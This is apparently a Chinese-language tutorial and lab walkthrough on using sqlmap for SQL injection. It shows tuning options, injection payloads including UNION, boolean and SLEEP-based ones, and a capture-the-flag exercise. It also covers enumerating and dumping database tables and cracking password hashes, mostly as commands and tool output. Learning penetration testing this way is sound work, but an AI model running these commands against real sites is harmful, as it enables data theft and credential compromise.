Content-Type: text/html; charset=UTF-8
URI: http://www.cuuemo.com:80/?id=1
<!DOCTYPE html>
<html lang="en">
...SNIP...
从上面的输出我们可以看出, /tmp/traffic.txt文件现在包含所有发送和接收的 HTTP 请求。 因此,我们现在可以手动调查这些请求以查看问题发生的位置。
详细输出
另一个有用的标志是 -v选项,它提高了控制台输出的详细级别:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://www.cuuemo.com/vuln.php?id=1" -v 6 --batch
___
__H__
___ ___[)]_____ ___ ___ {1.6.12#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[16:17:40] [DEBUG] cleaning up configuration parameters
[16:17:40] [DEBUG] setting the HTTP timeout
[16:17:40] [DEBUG] setting the HTTP User-Agent header
[16:17:40] [DEBUG] creating HTTP requests opener object
[16:17:40] [DEBUG] resolving hostname 'www.example.com'
[16:17:40] [INFO] testing connection to the target URL
[16:17:40] [TRAFFIC OUT] HTTP request [#1]:
GET /?id=1 HTTP/1.1
Host: www.example.com
Cache-control: no-cache
Accept-encoding: gzip,deflate
Accept: */*
User-agent: sqlmap/1.4.9 (http://sqlmap.org)
Connection: close
[16:17:40] [DEBUG] declared web page charset 'utf-8'
[16:17:40] [TRAFFIC IN] HTTP response [#1] (200 OK):
Date: Thu, 24 Sep 2020 14:17:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 914
Connection: close
Content-Type: text/html; charset=UTF-8
URI: http://www.example.com:80/?id=1
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<title>SQLMap Essentials - Case1</title>
</head>
<body>
...SNIP...
-v 6选项将直接将所有错误和完整的 HTTP 请求打印到终端,以便我们可以实时跟踪 SQLMap 正在执行的所有操作。
使用代理
最后,我们可以利用 --proxy通过 (MiTM) 代理重定向整个流量的选项(例如, Burp). 这将路由所有 SQLMap 流量 Burp,以便我们稍后可以手动调查所有请求,重复它们,并利用 Burp有了这些要求:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://www.cuuemo.com/vuln.php?id=1" --proxy=http://127.0.0.1:8080
然后这burp的历史HTTP history可以看到
攻击调整
在大多数情况下,SQLMap 应该使用提供的目标详细信息开箱即用。 然而,有一些选项可以微调 SQLi 注入尝试,以在检测阶段帮助 SQLMap。 发送到目标的每个有效负载包括:
- 矢量(例如,
UNION ALL SELECT 1,2,VERSION()): 有效负载的中心部分,携带要在目标处执行的有用 SQL 代码。 - 边界(例如
'<vector>-- -): 前缀和后缀形式,用于将向量正确注入到易受攻击的 SQL 语句中。
前缀/后缀
在极少数情况下需要特殊的前缀和后缀值,常规 SQLMap 运行未涵盖这些值。
对于这样的运行,选项 --prefix和 --suffix可以按如下方式使用:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "www.cuuemo.com/?q=test" --prefix="%'))" --suffix="-- -"
这将导致在静态前缀之间包含所有向量值 %'))和后缀 -- -.
例如,如果目标处的易受攻击代码是:
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);
载体 UNION ALL SELECT 1,2,VERSION(), 以前缀为界 %'))和后缀 -- -, 将在目标处产生以下(有效)SQL 语句:
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1
级别/风险
默认情况下,SQLMap 结合了一组预定义的最常见边界(即前缀/后缀对),以及在易受攻击的目标的情况下成功几率很高的向量。 尽管如此,用户还是有可能使用更大的边界和向量集,这些已经合并到 SQLMap 中。
对于这样的需求,选项 --level和 --risk应该使用:
- 选项
--level(1-5, 默认1) 根据它们对成功的期望(即期望越低,级别越高)扩展所使用的向量和边界。 - 选项
--risk(1-3, 默认1) 根据它们在目标端引起问题的风险(即数据库条目丢失或拒绝服务的风险)扩展使用的向量集。 检查不同值的使用边界和有效载荷之间差异的最佳方法--level和--risk, 是使用-v设置详细级别的选项。 详细度 3 或更高(例如-v 3), 包含使用过的消息[PAYLOAD]会显示,如下:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "www.cuuemo.com/?id=1“ -v 3 --level=5
..SNIP...
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:17:07] [PAYLOAD] 1) AND 5907=7031-- AuiO
[14:17:07] [PAYLOAD] 1) AND 7891=5700 AND (3236=3236
...SNIP...
[14:17:07] [PAYLOAD] 1')) AND 1049=6686 AND (('OoWT' LIKE 'OoWT
[14:17:07] [PAYLOAD] 1'))) AND 4534=9645 AND ((('DdNs' LIKE 'DdNs
[14:17:07] [PAYLOAD] 1%' AND 7681=3258 AND 'hPZg%'='hPZg
...SNIP...
[14:17:07] [PAYLOAD] 1")) AND 4540=7088 AND (("hUye"="hUye
[14:17:07] [PAYLOAD] 1"))) AND 6823=7134 AND ((("aWZj"="aWZj
[14:17:07] [PAYLOAD] 1" AND 7613=7254 AND "NMxB"="NMxB
...SNIP...
[14:17:07] [PAYLOAD] 1"="1" AND 3219=7390 AND "1"="1
[14:17:07] [PAYLOAD] 1' IN BOOLEAN MODE) AND 1847=8795#
[14:17:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
另一方面,默认情况下使用的有效载荷 --level value 的边界集要小得多:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u www.cuuemo.com/?id=1
...SNIP...
[14:42:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
...SNIP...
至于向量,我们可以比较使用的有效载荷如下:
┌──(kali㉿kali)-[~]
└─$ sqlmap -u www.cuuemo.com/?id=1
...SNIP...
[14:42:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:42:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
...SNIP...
┌──(kali㉿kali)-[~]
└─$ ssqlmap -u www.cuuemo.com/?id=1 --level=5 --risk=3
...SNIP...
[14:46:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:46:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
...SNIP...
[14:46:05] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[14:46:05] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)'
[14:46:05] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
...SNIP...
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[14:46:05] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[14:46:05] [INFO] testing 'PostgreSQL boolean-based blind - ORDER BY clause (original value)'
...SNIP...
[14:46:05] [INFO] testing 'SAP MaxDB boolean-based blind - Stacked queries'
[14:46:06] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:46:06] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
...SNIP...
至于有效载荷的数量,默认情况下(即 --level=1 --risk=1), 用于测试单个参数的有效负载数量上升到 72, 而在最详细的情况下 ( --level=5 --risk=3) 有效载荷的数量增加到 7,865。
由于 SQLMap 已经调整为检查最常见的边界和向量,因此建议普通用户不要触摸这些选项,因为这会使整个检测过程变得相当慢。 然而,在 SQLi 漏洞的特殊情况下,使用 OR有效载荷是必须的(例如,如果 login页),我们可能不得不自己提高风险级别。
这是因为 OR有效负载在默认运行中本质上是危险的,其中潜在的易受攻击的 SQL 语句(尽管不太常见)正在主动修改数据库内容(例如 DELETE或者 UPDATE).
进阶调整
为了进一步微调检测机制,有大量的开关和选项。 在常规情况下,SQLMap 不需要使用它。 尽管如此,我们还是需要熟悉它们,以便我们可以在需要时使用它们。
状态码
例如,在处理包含大量动态内容的巨大目标响应时,两者之间的细微差别 TRUE和 FALSE响应可用于检测目的。 如果两者之间的差异 TRUE和 FALSE可以在 HTTP 代码中看到响应(例如 200为了 TRUE和 500为了 FALSE), 选项 --code可用于固定检测 TRUE对特定 HTTP 代码的响应(例如 --code=200).
标题
如果通过检查 HTTP 页面标题可以看出响应之间的差异,则开关 --titles可用于指示检测机制基于 HTML 标记的内容进行比较 <title>.
字符串
如果特定字符串值出现在 TRUE响应(例如 success),而缺席 FALSE回复,选项 --string可用于仅基于该单个值的出现来固定检测(例如 --string=success).
纯文本
在处理大量隐藏内容时,例如某些 HTML 页面行为标签(如 <script>, <style>, <meta>等),我们可以使用 --text-only开关,它删除所有 HTML 标记,并仅基于文本(即可见)内容进行比较。
技巧
在某些特殊情况下,我们必须将使用的有效载荷缩小到特定类型。 例如,如果基于时间的盲负载以响应超时的形式造成问题,或者如果我们想要强制使用特定的 SQLi 负载类型,则选项 --technique可以指定要使用的 SQLi 技术。
例如,如果我们想跳过基于时间的盲目和堆叠 SQLi 有效载荷,而只测试基于布尔的盲目、基于错误和 UNION 查询的有效载荷,我们可以指定这些技术 --technique=BEU.
UNION SQLi 调优
在某些情况下, UNIONSQLi 有效负载需要额外的用户提供的信息才能工作。 如果我们可以手动找到易受攻击的 SQL 查询的确切列数,我们可以使用该选项将此数字提供给 SQLMap --union-cols(例如 --union-cols=17). 如果 SQLMap 使用的默认“虚拟”填充值 - NULL和随机整数 - 与易受攻击的 SQL 查询结果的值不兼容,我们可以指定一个替代值(例如 --union-char='a').
此外,如果要求在文章末尾使用附录 UNION查询的形式 FROM <table>(例如,在 Oracle 的情况下),我们可以使用选项来设置它 --union-from(例如 --union-from=users).
未能正确使用 FROMappendix 自动出现可能是由于无法在使用前检测到 DBMS 名称。
实战
访问url
cuuemo.com/case5.php
![[Pasted image 20230112215203.png]]
暗示:可以使用选项“-T flag”仅转储所需表中的数据。 您可以使用“--no-cast”标志来确保您获得正确的内容。 您也可以尝试多次运行该命令以确保您正确捕获了内容。
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
[liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://cuuemo.com//case5.php?id=1" --batch
**___**
**__H__**
**___ ___[****'****]_____ ___ ___** **{****1.6.8.3#dev****}**
**|_ -| . [****'****] | .'| . |**
**|___|_ [****.****]_|_|_|__,| _|**
**|_|V... |_|** https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:25:17 /2023-01-12/
[21:25:17] **[****INFO**] **testing connection to the target URL**
[21:25:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:25:18] [INFO] testing if the target URL content is stable
[21:25:19] [INFO] target URL content is stable
[21:25:19] [INFO] testing if GET parameter 'id' is dynamic
[21:25:20] [INFO] GET parameter 'id' appears to be dynamic
[21:25:22] **[****WARNING**] **heuristic (basic) test shows that GET parameter '****id****' might not be injectable**
[21:25:23] [INFO] testing for SQL injection on GET parameter 'id'
...SNIP...
**it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y**
[21:26:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:26:16] **[****WARNING**] **GET parameter '****id****' does not seem to be injectable**
[21:26:16] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 21:26:16 /2023-01-12/
所有测试参数似乎都不可注入。 如果您希望执行更多测试,请尝试增加“--level”/“--risk”选项的值。 如果您怀疑涉及某种保护机制(例如 WAF),也许您可以尝试使用选项“--tamper”(例如“--tamper=space2comment”)和/或开关“--random-agent” 使用level和risk试试 --threads=5
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://cuuemo.com/case5.php?id=1" --batch --leve 5 --risk 3
**___**
**__H__**
**___ ___[****,****]_____ ___ ___** **{****1.6.8.3#dev****}**
**|_ -| . [****(****] | .'| . |**
**|___|_ [****.****]_|_|_|__,| _|**
**|_|V... |_|** https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:27:57 /2023-01-12/
...SNIP...
**GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N**
sqlmap identified the following injection point(s) with a total of 609 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-7440 OR 6123=6123
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
Payload: id=1 OR (SELECT 6105 FROM (SELECT(SLEEP(5)))hoen)
---
[21:36:04] **[****INFO**] **the back-end DBMS is MySQL**
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[21:36:05] [INFO] fetched data logged to text files under '/Users/liuxin/.local/share/sqlmap/output/178.62.95.229'
[*] ending @ 21:36:05 /2023-01-12/
sqlmap找到注入点了基于布尔的盲注。
python3 sqlmap.py -u "http://161.35.162.53:30895/case5.php?id=32" --batch --leve 5 --no-cast -D testdb -T flag2 -C content,id --dump
即可获得flag
数据库枚举
枚举是 SQL 注入攻击的核心部分,它是在成功检测并确认目标 SQLi 漏洞的可利用性之后立即执行的。 它包括从易受攻击的数据库中查找和检索(即渗漏)所有可用信息。
SQLMap 数据渗漏
为此,SQLMap 为所有受支持的 DBMS 预定义了一组查询,其中每个条目代表必须在目标上运行以检索所需内容的 SQL。 例如, MySQL DBMS 的queries.xml 的摘录如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<dbms value="MySQL">
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
...SNIP...
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
<users>
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
</users>
...SNIP...
例如,如果用户想要检索“横幅”(开关 --banner) 对于基于 MySQL DBMS 的目标, VERSION()查询将用于此目的。
如果检索当前用户名(开关 --current-user), 这 CURRENT_USER()将使用查询。
另一个例子是检索所有的用户名(即标签 <users>). 根据情况,使用了两个查询。 查询标记为 inband用于所有非盲目的情况(即 UNION 查询和基于错误的 SQLi),在这些情况下可以在响应本身中预期查询结果。 查询标记为 blind另一方面,用于所有盲目情况,其中必须逐行、逐列和逐位检索数据。
基本数据库数据枚举
通常,在成功检测到 SQLi 漏洞后,我们可以开始从数据库中枚举基本细节,例如易受攻击目标的主机名 ( --hostname), 当前用户名 ( --current-user), 当前数据库名称 ( --current-db), 或密码哈希 ( --passwords). SQLMap如果早先被识别出来,就会跳过SQLi的检测,直接开始DBMS的枚举过程。
枚举通常从检索基本信息开始:
- 数据库版本横幅(切换
--banner) - 当前用户名(切换
--current-user) - 当前数据库名称(切换
--current-db) - 检查当前用户是否具有 DBA(管理员)权限。
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --banner --current-user --current-db --is-dba
**___**
**__H__**
**___ ___[****,****]_____ ___ ___** **{****1.6.8.3#dev****}**
**|_ -| . [****(****] | .'| . |**
**|___|_ [****.****]_|_|_|__,| _|**
**|_|V... |_|** https://sqlmap.org
[13:30:57] [INFO] resuming back-end DBMS 'mysql'
[13:30:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5134=5134
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 5907 FROM(SELECT COUNT(*),CONCAT(0x7170766b71,(SELECT (ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170766b71,0x7a76726a6442576667644e6b476e577665615168564b7a696a6d4646475159716f784f5647535654,0x7178707671)-- -
---
[13:30:57] [INFO] the back-end DBMS is MySQL
[13:30:57] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3~bpo50+1'
[13:30:58] [INFO] fetching current user
current user: 'root@%'
[13:30:58] [INFO] fetching current database
current database: 'testdb'
[13:30:58] [INFO] testing if current user is DBA
[13:30:58] [INFO] fetching current user
current user is DBA: True
...SNIP...
从上面的例子中,我们可以看出数据库版本比较旧(MySQL 5.1.41 - 2009 年 11 月),当前用户名为 root, 而当前数据库名称是 testdb.
注意:在绝大多数情况下,数据库上下文中的“root”用户与操作系统用户“root”没有任何关系,除了代表 DBMS 上下文中的特权用户。 这基本上意味着数据库用户不应该在数据库上下文中有任何限制,而操作系统权限(例如文件系统写入任意位置)应该是最小的,至少在最近的部署中是这样。 同样的原则适用于通用的“DBA”角色。
表枚举
在大多数常见的场景中,在找到当前数据库名称(即 testdb), 表名的检索将通过使用 --tables选项并指定数据库名称 -D testdb, 如下:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --tables -D testdb
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member |
| data |
| international |
| users |
+---------------+
找到感兴趣的表名后,可以使用 --dump选项并指定表名 -T users, 如下:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --dump -T users -D testdb
...SNIP...
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
```shell-session
[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.cuuemo.com/dump/testdb/users.csv'
控制台输出显示该表以格式化的 CSV 格式转储到本地文件, users.csv.
提示:除了默认的 CSV 之外,我们可以使用选项 --dump-format 将输出格式指定为 HTML 或 SQLite,以便我们稍后可以在 SQLite 环境中进一步调查数据库。
表/行枚举
在处理具有许多列和/或行的大型表时,我们可以指定列(例如,仅 name和 surname列)与 -C选项,如下:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --dump -T users -D testdb -C name,surname
...SNIP...
Database: testdb
Table: users
[4 entries]
+--------+------------+
| name | surname |
+--------+------------+
| luther | blisset |
| fluffy | bunny |
| wu | ming |
| NULL | nameisnull |
+--------+------------+
要根据表内的序号缩小行的范围,我们可以使用 --start和 --stop选项(例如,从第 2 项开始到第 3 项),如下所示:
--dump -T users -D testdb --start=2 --stop=3
...SNIP...
Database: testdb
Table: users
[2 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
+----+--------+---------+
如果需要根据已知的数据检索某些行 WHERE条件(例如 name LIKE 'f%'), 我们可以使用选项 --where, 如下:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
...SNIP...
Database: testdb
Table: users
[1 entry]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
+----+--------+---------+
完整的数据库枚举
我们可以通过跳过选项的使用来检索感兴趣的数据库中的所有表,而不是按单个表检索内容 -T完全(例如 --dump -D testdb). 通过简单地使用开关 --dump无需指定表 -T,将检索所有当前数据库内容。 至于 --dump-all切换,将检索所有数据库中的所有内容。
在这种情况下,还建议用户包括开关 --exclude-sysdbs(例如 --dump-all --exclude-sysdbs),这将指示 SQLMap 跳过从系统数据库检索内容,因为渗透测试人员通常对它不感兴趣。
高级数据库枚举
现在我们已经介绍了使用 SQLMap 进行数据库枚举的基础知识,我们将在本节中介绍更高级的技术来枚举感兴趣的数据。
数据库架构枚举
如果我们想检索所有表的结构以便我们可以全面了解数据库体系结构,我们可以使用开关 --schema:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --schema
...SNIP...
Database: master
Table: log
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| date | datetime |
| agent | varchar(512) |
| id | int(11) |
+--------+--------------+
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
...
Database: testdb
Table: data
[2 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| content | blob |
| id | int(11) |
+---------+---------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
搜索数据
在处理具有大量表和列的复杂数据库结构时,我们可以通过使用 --search选项。 此选项使我们能够使用 LIKE操作员。 例如,如果我们要查找包含关键字的所有表名 user,我们可以按如下方式运行 SQLMap:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --search -T user
...SNIP...
[14:24:19] [INFO] searching tables LIKE 'user'
Database: testdb
[1 table]
+-----------------+
| users |
+-----------------+
Database: master
[1 table]
+-----------------+
| users |
+-----------------+
Database: information_schema
[1 table]
+-----------------+
| USER_PRIVILEGES |
+-----------------+
Database: mysql
[1 table]
+-----------------+
| user |
+-----------------+
do you want to dump found table(s) entries? [Y/n]
...SNIP...
在上面的示例中,我们可以根据这些搜索结果立即发现几个有趣的数据检索目标。 我们也可以尝试根据特定关键字搜索所有列名(例如 pass):
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --search -C pass
...SNIP...
columns LIKE 'pass' were found in the following databases:
Database: owasp10
Table: accounts
[1 column]
+----------+------+
| Column | Type |
+----------+------+
| password | text |
+----------+------+
Database: master
Table: users
[1 column]
+----------+--------------+
| Column | Type |
+----------+--------------+
| password | varchar(512) |
+----------+--------------+
Database: mysql
Table: user
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(41) |
+----------+----------+
Database: mysql
Table: servers
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(64) |
+----------+----------+
密码枚举与破解
一旦我们识别出包含密码的表(例如 master.users), 我们可以用 -T选项,如前所示:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --dump -D master -T users
...SNIP...
[14:31:41] [INFO] fetching columns for table 'users' in database 'master'
[14:31:41] [INFO] fetching entries for table 'users' in database 'master'
[14:31:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[14:31:41] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:31:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
...SNIP...
Database: master
[14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:31:41] [INFO] starting 8 processes
[14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'
[14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'
...SNIP...
[14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'
Table: users
[32 entries]
+----+------------------+-------------------+------------------------------------------+
| id | name | password |
+----+------------------+-------------------+------------------------------------------+
| 1 | admin | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) |
| 2 | test | 10945aa229a6d569f226976b22ea0e900a1fc219 (taqris) |
| 3 | test1 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) |
| 4 | test2 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) |
在前面的例子中我们可以看到,SQLMap具有自动密码哈希破解的能力。 在检索到类似于已知哈希格式的任何值时,SQLMap 会提示我们对找到的哈希执行基于字典的攻击。 哈希破解攻击是根据用户计算机上可用的内核数量,以多处理方式执行的。 目前,实现了对破解 31 种不同类型的哈希算法的支持,其中包含一个包含 140 万个条目的字典(经过多年编译,最常见的条目出现在公开可用的密码泄漏中)。 因此,如果密码哈希不是随机选择的,SQLMap 很有可能会自动破解它。
数据库用户密码枚举与破解
除了在数据库表中找到的用户凭据外,我们还可以尝试转储包含特定于数据库的凭据(例如,连接凭据)的系统表的内容。 为了简化整个过程,SQLMap 有一个特殊的开关 --passwords专为此类任务而设计:
liuxin@liuxindeMacBook-Pro sqlmap-dev % python3 sqlmap.py -u "http://www.cuuemo.com/?id=1" --passwords --batch
...SNIP...
[14:25:20] [INFO] fetching database users password hashes
[14:25:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'debian-sys-maint'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[14:25:20] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:25:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[14:25:20] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:25:20] [INFO] starting 8 processes
[14:25:26] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
[14:25:28] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.cuuemo.com'
...SNIP...
提示:“--all”开关与“--batch”开关结合使用,将自动对目标本身执行整个枚举过程,并提供整个枚举详细信息。 这基本上意味着将检索所有可访问的内容,并可能运行很长时间。 我们需要手动在输出文件中找到感兴趣的数据。
绕过 Web 应用程序保护
在理想情况下,目标端不会部署任何保护措施,因此不会阻止自动利用。 否则,在针对此类目标运行任何类型的自动化工具时,我们可能会遇到问题。 尽管如此,SQLMap 中加入了很多机制,可以帮助我们成功绕过这种保护。
未完待续